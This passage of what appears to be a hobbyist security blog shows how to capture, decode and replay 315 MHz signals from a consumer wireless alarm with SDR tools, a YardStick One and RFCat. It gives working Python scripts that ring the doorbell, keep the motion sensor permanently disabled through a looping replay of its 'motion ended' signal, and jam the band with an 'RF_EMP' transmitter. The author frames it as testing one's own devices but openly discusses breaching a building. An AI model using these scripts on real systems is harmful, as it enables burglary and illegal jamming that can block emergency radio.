While this is a good POC that we can communicate with the door alert system, this did not provide much of a learning opportunity nor did it drastically reduce the effectiveness of the security system. It only provides false alarms of standard functionality. Lets try doing this the more complicated way by profiling the device a bit more, capturing traffic, reducing the wave patterns to binary, converting to hex and then sending it over another device for a bit more precision and learning opportunity.  This will also open up other attack vectors. This sounds complicated, but honestly its not complicated just a bit tedious to get right at first. 

Further Profiling our Devices Functionality: 

We are easily able to replay functionality when initiating actions ourselves with our HackRF, but what else is going on with the radio transmissions? In order to monitor the transmissions in a very simple way we can use tools such as GQRX with either our HackRF device or an inexpensive SDR Dongle and view the 315MHz radio frequency to see whats happening. 

GQRX Install:

You can grab GQRX from the following location for OSX,  on linux whatever package manager your distro uses should be sufficient for installing GQRX: 

Plug in your SDR dongle of choice (HackRF or RTL-SDR, load up GQRX, and select your device, in this case a cheap 19 dollar RTL SDR: 





Select OK and the interface will load up, I made the following changes.

  • I changed the mode under receiver options on the right hand side to AM for Amplitude modulation.
  • I changed the MHz at the top to 315000000 since that is what we saw on the fccid.io data sheets. 
  • I then hit play and could view the 315 MHz frequency range. 

When triggering any of the transmit devices I saw a spike in the frequency close to the 315 MHz range.  I then held down the doorbell button since this transmit device would just keep replaying over and over while pressed. While this was repeating I dragged the bar to match the frequency exactly. Which was actually roughly 314.991.600 give or take. 



I then triggered the motion sensor and saw a similar spike in frequency, but I also noticed the motion sensor transmitter sends a 2nd transmission after about 6 seconds to shut off the light on the receiver hub that no more motion is happening. A little testing showed this  will disable the alarm from triggering during a limited time period.  

Can we replay the Motion Sensor Turn off?? 
I tried to repeat the simple replay attack of turning off the motion sensor with HackRF, however unless your capture timing is perfect to reduce any extra data the sensor disable is rather spotty and still sometimes triggers an alarm. Even with a short capture the raw file was 40mb in size. If you were to try to breach a building and disable its sensors there is a 50% chance or so the motion sensor will be triggered.  So this is not a sufficient method of disabling the motion sensor alarm. I only want a 100% chance of success if I was to try to bypass a security system.  So we need another technique.  I read online a bit and found something about decoding signal patterns into binary which sounded like a good way to reduce the extra data for a more reliable alarm bypass and decided to start with the simple doorbell as a test due to its ease of use, prior to working with less reliable transmissions based on motion and timing.  



Decoding Signal Patterns for Sending With The YardStick One: 

Below is a picture of the yard Stick tool used in the following attacks


Documented Process: 

Based on my online research in order to capture a signal and retransmit using a yardstick we need to do the following: 

  • Record the transmission with the SDR dongle and GQRX
  • Demodulate and Decode with Audacity into binary (1s & 0s)
  • Convert the Binary to Hex (0x)
  • Replay with YardStick in python and RFCat libraries 

Troubleshooting Extra Steps: 

However I found a few issues with this process and added a few more steps below. I am not trying to pretend everything worked perfectly. I ran into a few problems and these trouble shooting steps fixed the issues I ran into and I will list them below and explain them in this section as we walk through the process: 

  • Record your YardStick Replay with GQRX and adjust the frequency again based on output
  • Compare your transmission waveform to that of the original transmitters waveform to insure your 1’s & 0’s were calculated properly
  • Add some  padding in form of \x00 to the end of your Hex to make it work. 
  • Adjust the number of times you repeat your transmissions

Record Transmission with GQRX: 

OK so first things first, load your GQRX application and this time hit the record button at the bottom right side prior to triggering the doorbell transmitter. This will save a Wav file you can open in audacity. 

Install Audacity: 

You can download audacity at the following link for OSX as well as other platforms. http://www.audacityteam.org/download/  You should also be able to use your distro’s package management to install this tool if it is not found on the site. 

If you open up your wav file and zoom in a little with Command+1 or the zoom icon you should start to see a repeating pattern similar to this: 



We need to decode one of these to trigger the doorbell. So we will need to zoom in a bit further to see a full representation of one of these patterns.  Once we zoom in a bit more we see the following output which is wave form representation of your transmission. The high points are your 1’s and the low points are your 0’s: 



Decode to binary: 

So the main issue here is how many 1’s and how many 0’s are in each peak or valley??   Originally I was thinking that it was something like the following formatted in 8 bit bytes, but this left over an extra 1 which seemed odd so I added 7 0’s to make it fit correctly.  (Probably incorrect but hey it worked LOLs) 
10111000 10001011 10111000 10001000 10001011 10111011 10000000

What the above binary means is that the first high peek was One 1 in length, the first low peek was One 0 in length and the larger low and high’s were Three 111s in length. This seemed reasonable based on how it looks.  

Try converting it yourself, does it look like my representation above? 

Convert to Hex:

In order to send this to the receiver device we will need to convert it to hex. We can convert this to hex easily online at the following URL: 

Or you can use radare2 and easily convert to hex by formatting your input into 8 bit byte segments followed by a “b” for binary as follows and it will spit out some hex values you can then use to reproduce the transmission with the yardstick: 

Destroy:~ ficti0n$ rax2 10111000b 10001011b 10111000b 10001000b 10001011b 10111011b 10000000b
0xb8
0x8b
0xb8
0x88
0x8b
0xbb
0x80

In order to send this with the YardStick you will need to use a python library by the name of RFCat which interfaces with your Yardstick device and can send your Hex data to your receiver.  We can easily do this with python. Even if you do not code it is very simple code to understand.  In order to install RFCat you can do the following on OSX:  (Linux procedures should be the same) 

Install RFCat and Dependencies(libusb, pyusb): 

git clone https://github.com/atlas0fd00m/rfcat.git
cd rfcat/
sudo python setup.py install
cd ../
git clone https://github.com/walac/pyusb.git
cd pyusb/
sudo python setup.py install
easy install pip
pip install libusb
Plug in your device and run the following to verify: 
rfcat -r


Setting up your python Replay Attack: 

First convert our hex from 0xB8 format to \xB8 format and place it in the following code:
Hex Conversion for the python script: 
\xb8\x8b\xb8\x88\x8b\xbb\x80

I provided a few notations under the code to help understanding but its mostly self explanatory: 

#--------Ring the doorbell--------#: 
from rflib import *

d = RfCat()   #1
d.setFreq(315005000)  #2
d.setMdmModulation(MOD_ASK_OOK) #3
d.setMdmDRate(4800) #4 

print "Starting"
d.RFxmit("\xb8\x8b\xb8\x88\x8b\xbb\x80”*10) #5
print ‘Transmission Complete'

#--------End Code --------#
#1 Creating a RfCat instance
#2 Setting your Frequency to the capture range from your GQRX output
#3 Setting the modulation type to ASK Amplitude shift keying
#4 Setting your capture rate to that of your GQRX capture settings 
#5 Transmit your Hex 10 times

Ring Doorbell with Yardstick (First Attempt): 

Plug your YardStick into the USB port and run the above code. This will send over your command to ring the doorbell. 

Destroy:ficti0n$ python Door.py
Starting
Transmission Complete

However, this will fail and we have no indication as to why it failed. There are no program errors, or Rfcat errors. The only thing I could think is that that we sent the wrong data, meaning we incorrectly decoded the wave into binary. So I tried a bunch of different variations on the original for example the short lows having Two 1’s instead of One and all of these failed when sending with the Yardstick. 


Doorbell with Yardstick (TroubleShooting): 

I needed a better way to figure out what was going on. One way to verify what you sent is to send it again with the Yardstick and capture it with your RTL-SDR device in GQRX. You can then compare the pattern we sent with the yardstick, to the original transmission pattern by the transmitter device. 

The first thing you will notice when we capture a Yardstick transmission is the output is missing the nice spacing between each transmission as there was in the original transmission. This output is all mashed together: 




If we keep zooming in we will see a repeating pattering like the following which is our 10 transmissions repeating over and over: 




If we keep zooming in further we can compare the output from the original capture to the new capture and you will notice it pretty much looks the same other then its hard to get the zoom levels exactly the same in the GUI: 






Hmmm ok so the pattern looks correct but the spacing between patterns is smashed together. After a bit of searching online I came across a piece of code which was unrelated to what I was trying to do but sending RF transmissions with \x00\x00\x00 padding at the end of the hex.  This makes sense in the context of our visual representation above being all mashed up. So I tried this and it still failed.  I then doubled it to 6 \x00’s and the doorbell went off. So basically we just needed padding. 

Also I should note that you can put as much padding as you want at the end.. I tried as much as 12 \x00 padding elements and the doorbell still went off. I also then tried a few variations of my binary decoding and some of those which were slightly off actually rang the doorbell. So some variance is tolerated at least with this device.  Below is the working code :)   


Our Hello World test is a SUCCESS. But now we need to move on to something that could bypass the security of the device and cause real world issues. 

The following updated code will ring the doorbell using padding: 
#--------Ring the doorbell--------#: 
from rflib import *

d = RfCat()
d.setFreq(315005000)
d.setMdmModulation(MOD_ASK_OOK)
d.setMdmDRate(4800)

print (“Starting Transmission”)
d.RFxmit("\xb8\x8b\xb8\x88\x8b\xbb\x80\x00\x00\x00\x00\x00\x00”*10)
print (“Transmission Complete”)
#--------End Code --------#


Disable the Motion Sensor with No Motion Feature:

Ok so originally our simple HackRF replay had about a 50% success rate on turning off the motion sensor due to extraneous data in the transmission replay and timing issues. Lets see if we can get that to 100% with what we learned about decoding from the doorbell. We will instead decode the signal pattern sent from the transmitter to the receiver when shutting off the alert light, but without extra data. We will send it directly with a Yardstick over and over again and potentially use the devices own functionality to disable itself. This would allow us to walk past the motion sensors without setting off an alert. 
The question is can we take the transmission from the Motion Sensor to the Receiver Hub which says motion has ended and use that to disable the Motion Sensor based on a slight delay between saying “there is no motion” and being ready to alert again and bypass the motion sensors security.  Lets give it a try by capturing the “motion has ended” transmission with GQRX when the motion sensor sends its packet to the receiver 6 seconds after initial alert and decode the pattern.. 

Below is a screenshot of the “Motion has ended) transmission in audacity: 



So this sequence was a bit different, there was an opening sequence followed by a repeating sequence.  Lets decode both of these patterns and then determine what we need to send in order to affect the devices motion turnoff functionality.  Below is the zoomed in version of the opening sequence and repeating sequence followed by an estimation of what I think the conversion is. 




The opening sequence appears to have all the highs in single 1’s format and most of the lows in 3 000’s format, below is the exact conversion that I came up with adding some 0’s at the end to make the correct byte length… 

See what you can come up with,  does it match what I have below? 

10001000 10100010 10001010 00101000 10101000 10001010 00101000 10100000

If we convert that to hex we get the following: 
Destroy:ficti0n$ rax2 10001000b 10100010b 10001010b 00101000b 10101000b 10001010b 00101000b 10100000b
0x88
0xa2
0x8a
0x28
0xa8
0x8a
0x28
0xa0

Hex Conversion for the python script: 
\x88\xa2\x8a\x28\xa8\x8a\x28\xa0


Next up is our repeating pattern which has a similar but slightly different structure then the opening pattern. This one starts with a 101 instead of 1000 but still seems to have all of its 1’s in single representations and most of its lows in sets of 3 000’s. Below the screenshot is the the binary I came up with.. Write it out and see if you get the same thing? 




Repeating Pattern:
10100010 10100010 10001000 10100010 10001010 00101000 10101000 10100010 10001010 00101000

Hex Conversion:  (Used the online tool, R2 didn’t like this binary for some reason) 
\xA2\xA2\x88\xA2\x8A\x28\xA8\xA2\x8A\x28

Testing / Troubleshooting: 

I first tried sending only the repeating sequence under the assumption the opening sequence was a fluke but that did not work. 
I then tried sending only the opening sequence and that didn’t work either.  
I combined the first part with a repeating 2nd part for 10 iterations 
The alert light immediately turned off on the device when testing from an alerting state, and from all states stopped alerting completely
Note(My light no longer turns off, I think I broke it or something LOL, or my setup at the time was different to current testing) 

In order to send the first part and the second part we need to send it so that we have padding between each sequence and in a way that only the second part repeats, we can do that the following way: 
d.RFxmit("\x88\xa2\x8a\x28\xa8\x8a\x28\xa0\x00\x00\x00\x00\x00\x00" + "\xA2\xA2\x88\xA2\x8A\x28\xA8\xA2\x8A\x28\x00\x00\x00\x00\x00\x00"*40)

The above is very simple, to explain:

  • First add in your opening patterns HEX values
  • Pad that with 6 \x00 for spacing
  • Add the second patterns HEX values and add that with 6 \x00
  • Now multiply the second part by 10 since in the wave output this part was repeating

Below is the full code to do this, it is the same as the doorbell code with the new line from above and a While 1 loop that never stops so that the device is fully disabled using its own functionality against it :)  
SUCCESS

As a quick test if you intentionally trip the sensor and immediately send this code the BEEP BEEP BEEP will be cut short to a single BEEP also the light may turn off depending how its configured. In all cases the motion sensor capability will be disabled. If you turn this script on at any time the sensor is completely disabled until you stop your transmission:

#--------Disable The Motion Sensor --------#: 
from rflib import *

d = RfCat()
d.setFreq(315005000)
d.setMdmModulation(MOD_ASK_OOK)
d.setMdmDRate(4800)

while 1:  #Added a loop to keep the sensor disabled
print ("Starting Transmission")
d.RFxmit("\x88\xa2\x8a\x28\xa8\x8a\x28\xa0\x00\x00\x00\x00\x00\x00" + "\xA2\xA2\x88\xA2\x8A\x28\xA8\xA2\x8A\x28\x00\x00\x00\x00\x00\x00"*40)
print ("Transmission Complete")
#--------End Code --------#




Jamming RF With Python: 

Bypassing the sensors worked, but then I got thinking, so what if the company puts out a new patch and I am no longer able to turn off the sensors by using the devices functionality against itself? Or what if I wanted to bypass the door alert when the door is opened and it breaks the connection?  The door alert does not have a disable signal sent back to the receiver, it always alerts when separated. 

RF Jamming and the FCC: 

One way we can do this is with RF Jamming attacks. However, it should be noted that Jamming is technically ILLEGAL in the US on all frequencies. So in order to test this in a Legal way you will need a walk in Faraday cage to place your equipment and do some testing. This way you will not interfere with the operation of other devices on the frequency that you are jamming. 


From the FCC: https://apps.fcc.gov/edocs_public/attachmatch/DA-12-1642A1.pdf

“We caution consumers that it is against the law to use a cell or GPS jammer or any other type of device that blocks, jams or interferes with authorized communications, as well as to import, advertise, sell, or ship such a device. The FCC Enforcement Bureau has a zero tolerance policy in this area and will take aggressive action against violators. “


Notes On the reality of Criminals: 

It should also be noted that if a criminal is trying to break into your house or a building protected by an alert system that uses wireless technologies, he is probably not following FCC guidelines. So assume if you can attack your alarm system in the safety of a Faraday cage.  Your alarm system is vulnerable to attack by any criminal. A fair assumption when penetration testing an alarm system your considering for install.  You may want devices which are hardwired in as a backup. 

There has always been Jammers for things like Cellphones, WiFi networks. With the introduction of affordable software defined radio devices an attacker can jam the 315 frequency to disable your alert system as a viable attack.  A simple python script can kill a device in the 315 range and make it in-operable. 

Jamming in Python: 

I found the below script to be 100% effective while testing within a Faraday enclosure. Basically  the device pauses in its current operational state, idle state or a alert light state, the device will remain in that state indefinitely until the jamming attack is stopped and the devices are manually reset.

Use a Faraday cage for your security testing: 

If you use the below code make sure you use precautions such as Faraday cages to ensure the legal guidelines are met and you are not interfering with other devices in your area. You must assume that radios used by police, fire departments and other public safety activities could be blocked if you are not enclosing your signal. This code is purely for you to test your devices before installing them for the security of your assets. 

I call the below program RF_EMP,  not because its sending an electronic pulse but because similar to an EMP its disabling all devices in its range.  Which is why you need to use a Faraday cage so as not to interfere with devices you do not own. 
Below is a simple manually configurable version of this script. 


#--------RF_Emp.py Simple Version --------#: 

# For use within Faraday Enclosures only
from rflib import *

print "Start RF Jamming FTW"
d = RfCat()
d.setMdmModulation(MOD_ASK_OOK)
d.setFreq(315000000)
d.setMdmSyncMode(0)
d.setMdmDRate(4800)
d.setMdmChanSpc(24000)
d.setModeIDLE()
d.setPower(100)
d.makePktFLEN(0)

print "Starting JAM Session,  Make sure your in your Faraday Enclosure..."
d.setModeTX() # start transmitting
raw_input("Unplug to stop jamming")
print 'done'
d.setModeIDLE() # This puts the YardStick in idle mode to stop jamming (Not convinced this works)
#--------End Code --------#

Notes on using Virtual Machines: 


You can do your RF testing on a virtual machine with pre-installed tools but its kind of sketchy and you might want to throw your Yardstick against the wall in a fury of anger when you have to unplug it after every transmission. After a few fits of blind rage I decided to install it natively so my tools work every time without removing the dongle after each transmission. 

Whats next: 

This is it for the first blog..  Other topics  will be discussed later, such as attacking devices in a blackbox assessment and configuring your own key fobs. Rolling code devices and bypassing their protections. Monitoring and attacking car components. If you have anything to add or would like to help out.. Feel free to comment and add to the discussion.